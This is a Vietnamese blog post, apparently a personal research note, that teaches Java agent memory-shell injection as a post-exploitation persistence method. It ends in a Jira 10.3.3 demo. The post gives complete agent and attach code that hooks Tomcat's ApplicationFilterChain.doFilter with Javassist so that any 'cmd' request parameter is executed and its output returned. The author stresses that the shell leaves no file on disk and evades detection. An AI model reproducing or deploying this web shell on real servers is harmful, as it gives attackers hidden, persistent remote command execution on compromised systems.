Java Agent Memshell - Demo inject memshell in Jira
Cũng lâu rồi không nghiên cứu gì nên bài này chủ yếu mình note lại về phương pháp triển khai memshell với Java Agent. Khác với các cách đã nêu trước đó (có thể dùng để init access và post-exploit) thì với java agent thiên về post-exploit nhiều hơn. Ví dụ ta đã compromised được server có 1 con webapp nhưng con này không thể nào triển khai memshell qua file jsp hay không có bug gì để triển khai, thì dùng Java agent là một giải pháp hoàn hảo để cắm shell persistent.
1. Java agent là gì ?
Java agent là một công nghệ/tính năng cho phép modify byte code của class đã load (hoặc chưa load) mà không làm ảnh hưởng đến quá trình complie code. Có 2 loại java agent là:
premain-Agent: Đúng như tên gọi thì agent sẽ được gọi trước khi start hàm và trước cả khi start JVM
agentmain-Agent: Agent sẽ được gọi sau khi đã start JVM
A. Ví dụ premain-Agent
Để minh họa mình tạo 1 Maven project với đoạn code sau
package com.example;
import java.lang.instrument.Instrumentation;
public class JavaAgentPremain {
public static void premain(String args, Instrumentation inst) {
System.out.println("Hello from premain");
}
}
Hàm premain
sẽ được gọi khi premain-Agent được load. Để sử dụng được agent thì ta cần build thành file jar. Nhưng trước khi build ta phải khai báo trong resources/META-INF/MANIFEST.MF
nội dung như sau:
Manifest-Version: 1.0
Premain-Class: com.example.JavaAgentPremain
Sau khi build thành file jar, mình sẽ tiến hành load agent vào chương trình chính. Đầu tiên tạo 1 chương trình chính như sau
public class Test {
public static void main(String[] args) {
System.out.println("Hello from Main");
}
}
Khi chạy chương trình chính ta thêm options -javaagent:"path_to_jar_file.jar"

Ta sẽ thấy code trong hàm premain
sẽ thực thi trước hàm main
. Nhìn vào cơ chế này ta sẽ biết được hạn chế lớn nhất của premain-agent là phải start chung với chương trình chính, do đó nếu triển khai memshell theo hướng này ta phải restart lại toàn bộ web thì memshell mới được inject. Vì hạn chế như vậy nên thông thường memshell được inject với agentmain-Agent
B. Ví dụ agentmain-Agent
Vì agentmain-Agent được load sau khi JVM start, nên ta sẽ dùng một số hàm đặt biệt để tương tác với JVM.
Ví dụ mình có đoạn code sau:
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class GetJVM {
public static void main(String[] args) {
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
System.out.println(vmd.displayName() + " running with PID " + vmd.id());
}
}
}
Đoạn code trên sẽ lấy ra danh sách JVM bằng VirtualMachine.list()
sau đó loop từng JVM và print ra process name + process ID
Kết quả khi chạy

Từ đây nếu muốn attach agent vào process nào ta chỉ cần filter theo tên process đó. Ví dụ mình có chương trình chính như sau
import java.util.Scanner;
public class Test {
public static void main(String[] args) {
System.out.println("Hello from Main");
new Scanner(System.in).nextLine(); // Prevent application auto stop
}
}
Tiếp theo mình tạo agentmain-Agent như sau
package com.example;
import java.lang.instrument.Instrumentation;
public class JavaAgentMain {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
System.out.println("Hello from main agent");
}
}
Thay đổi file MANIFEST.MF
thành như sau và build thành file jar:
Manifest-Version: 1.0
Agent-Class: com.example.JavaAgentMain
Dùng đoạn code sau để attach agent vào chương trình chính
import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class AttachAgent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
if(vmd.displayName().equals("Test")){
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
virtualMachine.loadAgent("D:\\Labs\\Learn\\JavaSecLearn\\JavaAgent\\JavaAgent\\out\\artifacts\\JavaAgent_jar\\JavaAgent.jar");
virtualMachine.detach();
}
}
}
}
Khi chạy đoạn code trên ta sẽ thấy Hello from main agent
được print ra tại chương trình chính

Lợi dụng việc này ta có thể inject memshell trực tiếp vào Runtime.
2. Giới thiệu Instrumentation
Để có thể modified được các class trong chương trình chính thì JVMTIAgent (JVM Tool Interface Agent) cung cấp cho chúng ta 1 interface cho phép giao tiếp với các class của target JVM. Interface này được gọi là Instrumentation
Ví dụ ta có thể lấy được tên các class của target JVM và check xem có modifed được không bằng đoạn code sau:
package com.example;
import java.lang.instrument.Instrumentation;
public class InstrumentationTest {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
Class [] classes = inst.getAllLoadedClasses();
for(Class cls : classes){
System.out.println("------------------------------------------");
System.out.println("Class name: "+cls.getName());
System.out.println("Is modifiable: "+inst.isModifiableClass(cls));
}
}
}
Kết quả khi attach agent:

Để modified được bytes code của class trong target JVM ta sẽ dùng method addTransformer
của Instrumentation
add 1 malicious Transformer, class malicious Transformer này sẽ overide method tranform
. Method tranform sẽ được gọi trong quá trình attach agent để replace byte code của class trong target JVM. (https://docs.oracle.com/javase/8/docs/api/java/lang/instrument/ClassFileTransformer.html)
Ví dụ mình thay đổi code chương trình chính thành như sau:
import static java.lang.Thread.sleep;
public class Test {
public static void main(String[] args) throws InterruptedException {
System.out.println("Hello from Main");
while (true) {
testMethod();
sleep(5000);
}
}
public static void testMethod(){
System.out.println("Method from test");
}
}
Mình có đoạn code sau để triển khai Instrumentation
với agentmain-Agent
package com.example;
import java.lang.instrument.Instrumentation;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;
public class InstrumentationTest {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
Class [] classes = inst.getAllLoadedClasses();
for(Class cls : classes){
if (cls.getName().equals("Test")){
inst.addTransformer(new TestTransform(),true);
inst.retransformClasses(cls);
}
}
}
public static class TestTransform implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
ClassPool classPool = ClassPool.getDefault();
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}
CtClass ctClass = classPool.get("Test");
CtMethod ctMethod = ctClass.getDeclaredMethod("testMethod");
String body = "{System.out.println(\"Hacker!\");}";
ctMethod.setBody(body);
byte[] bytes = ctClass.toBytecode();
return bytes;
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}
}
Ta sẽ dùng Javassist để modified byte code method testMethod
của chương trình chính

Môi trường demo hiện tại của mình là JDK17 nên không lo về vấn đề trên. Tuy nhiên vì ta dùng lib Javassist để load bytes, nên khi build agent jar file ta phải add thêm thư viện này vào jar file. Nếu không khi attach sẽ bị lỗi Class not found như dưới đây

Ta sẽ thêm lib Javassist vào build jar bằng cách add extracted directory như sau

Sau đó chỉnh sửa file MANIFEST.MF
thành như sau để enable modified cho agent.
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: com.example.InstrumentationTest
Khi ta attach agent vào chương trình chính, ta có thể thay đổi được bytecode của testMethod
theo ý muốn

3. Triển khai memshell Tomcat trong Jira
A. Prepare
Tiếp theo ta sẽ bắt đầu inject memshell trong Tomcat bằng những gì đã tìm hiểu ở trên.
Như đã mình đã nói ở bài trước, ta có thể triển khai memshell trong Tomcat qua Filter thông qua method org.apache.catalina.core.ApplicationFilterChain#doFilter
(Link bài trước) . Đối với phương pháp dùng Java agent, thì ta sẽ modified luôn method doFilter
để chèn memshell
Để cho chân thực thì mình sẽ demo inject agent memshell vào web Jira.
Các bước setup Jira thì rất dễ nên mình không nói đến, mình sẽ nói một chút về lý do tại sao trong Jira thì nếu muốn có shell persistent ta phải dùng memshell.
Từ phiên bản Jira 10.x trở đi thì ta không thể truy cập trực tiếp vào file JSP để thực thi code được nữa, mà các file JSP sẽ được build thành class trong quá trình complie, chỉ còn file login.jsp
và logout.jsp
có thể truy cập trực tiếp. Nếu muốn custom JSP ta phải thêm config vào action.xml
và restart lại Jira (tham khảo: https://developer.atlassian.com/server/jira/platform/jira-templates-and-jsps/). Do đó cần phải có 1 phương pháp khác để cắm shell persistent mà không cần restart lại service.
Trên mạng thì có 1 phương pháp sử dụng malicous plugins -> upload lên -> assign malicious Servlet -> shell (tham khảo: https://github.com/dubfr33/atlassian-webshell-plugin). Tuy nhiên tính năng upload plugins đã bị disable mặc định ở các phiên bản Jira 9.x+ (nguồn), muốn enable thì cũng phải restart lại Jira. Do đó sử dụng phương pháp Java agent để cắm memshell persistent là hợp lý và ít noise nhất.
Điều kiện để triển khai Java agent memshell đối với Jira là phải có quyền root hoặc quyền nào đó có thể attach được vào process JVM của jira.
B. Inject memshell
Phiên bản Jira mình dùng để demo là bản 10.3.3 (bản supported release mới nhất hiện tại)
Đầu tiên ta sẽ thử chạy code list proccess JVM đang chạy
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class GetJVM {
public static void main(String[] args) {
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
System.out.println(vmd.displayName() + " running with PID " + vmd.id());
}
}
}
Với phiên bản Jira 10.3.3 dùng java 17 nên mình sẽ build đoạn code trên với JDK17 và run ở máy server. Kết quả khi chạy code:

Nguyên nhân của lỗi trên vì Java cài trên server là JRE chứ không phải JDK nên không thể load được lib. Để khắc phục ta có thể cài JDK trên máy server rồi chạy bình thường
Sau khi cài JDK và run đoạn code trên, ta sẽ thấy Jira được chạy bằng catalina với process id là 3490

Để check là Jira có thật sự load org.apache.catalina.core.ApplicationFilterChain
hay không mình sẽ attach agent có đoạn code sau
package com.example;
import java.lang.instrument.Instrumentation;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;
public class InstrumentationTest {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
Class [] classes = inst.getAllLoadedClasses();
for(Class cls : classes){
if(cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
System.out.println("------------------------------------------");
System.out.println("Class name: "+cls.getName());
System.out.println("Is modifiable: "+inst.isModifiableClass(cls));
}
}
}
}
Sau khi build xong upload agent lên server và load agent bằng đoạn code sau
import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class AttachAgent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
System.out.println(vmd.displayName());
if(vmd.displayName().contains("org.apache.catalina.startup.Bootstrap")){
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
virtualMachine.loadAgent("/tmp/JavaAgent.jar");
virtualMachine.detach();
}
}
}
}
Kết quả


Mình sẽ dùng đoạn code agent này để inject memshell vào org.apache.catalina.core.ApplicationFilterChain
package com.example;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;
public class InjectMemshell {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
Class [] classes = inst.getAllLoadedClasses();
for(Class cls : classes){
if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){
inst.addTransformer(new InjectTransform(),true);
inst.retransformClasses(cls);
}
}
}
public static class InjectTransform implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
ClassPool classPool = ClassPool.getDefault();
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
String body = " javax.servlet.ServletRequest req = request;\n" +
" javax.servlet.ServletResponse res = response;" +
"String cmd = req.getParameter(\"cmd\");\n" +
"if (cmd != null) {\n" +
"Process process = Runtime.getRuntime().exec(cmd);\n" +
"java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n" +
"new java.io.InputStreamReader(process.getInputStream()));\n" +
"StringBuilder stringBuilder = new StringBuilder();\n" +
"String line;\n" +
"while ((line = bufferedReader.readLine()) != null) {\n" +
"stringBuilder.append(line + '\\n');\n" +
"}\n" +
"res.getOutputStream().write(stringBuilder.toString().getBytes());\n" +
"res.getOutputStream().flush();\n" +
"res.getOutputStream().close();\n" +
"}";
ctMethod.insertBefore(body);
byte[] bytes = ctClass.toBytecode();
return bytes;
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}
}
Build agent thành file jar load vào target JVM bằng đoạn code sau
import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class AttachAgent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
System.out.println(vmd.displayName());
if(vmd.displayName().contains("org.apache.catalina.startup.Bootstrap")){
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
virtualMachine.loadAgent("/tmp/AgenInjectMem.jar");
virtualMachine.detach();
}
}
}
}
Khi attach thành công thì Jira vẫn hoạt động bình thường khi truy cập

Nhưng nếu thêm parameter cmd thì memshell sẽ được thực thi

Tóm lại đây là 1 cách cắm shell persistent khá hay khi không cần phải perist file trên server, chỉ cần upload file exploit, load xong rồi xóa file. Vì là memshell nên chỉ bị xóa khi restart lại service -> tính ẩn mình cao. Tuy nhiên thiếu 1 chút nữa là cách này sẽ rất hoàn hảo vì với Jira dùng java 17 thì ta phải cài thêm JDK17 trên server mới có thể inject được memshell, đối với các web dùng java bản thấp < 8 thì ta có thể trực tiếp inject vào JRE luôn. Việc cài đặt thêm JDK vào server dẫn đến việc dễ bị detect hơn, không còn ẩn mình tuyệt đối 😥(mình sẽ cố gắng research thêm cách inject vào JRE version cao)
4. Refer
Last updated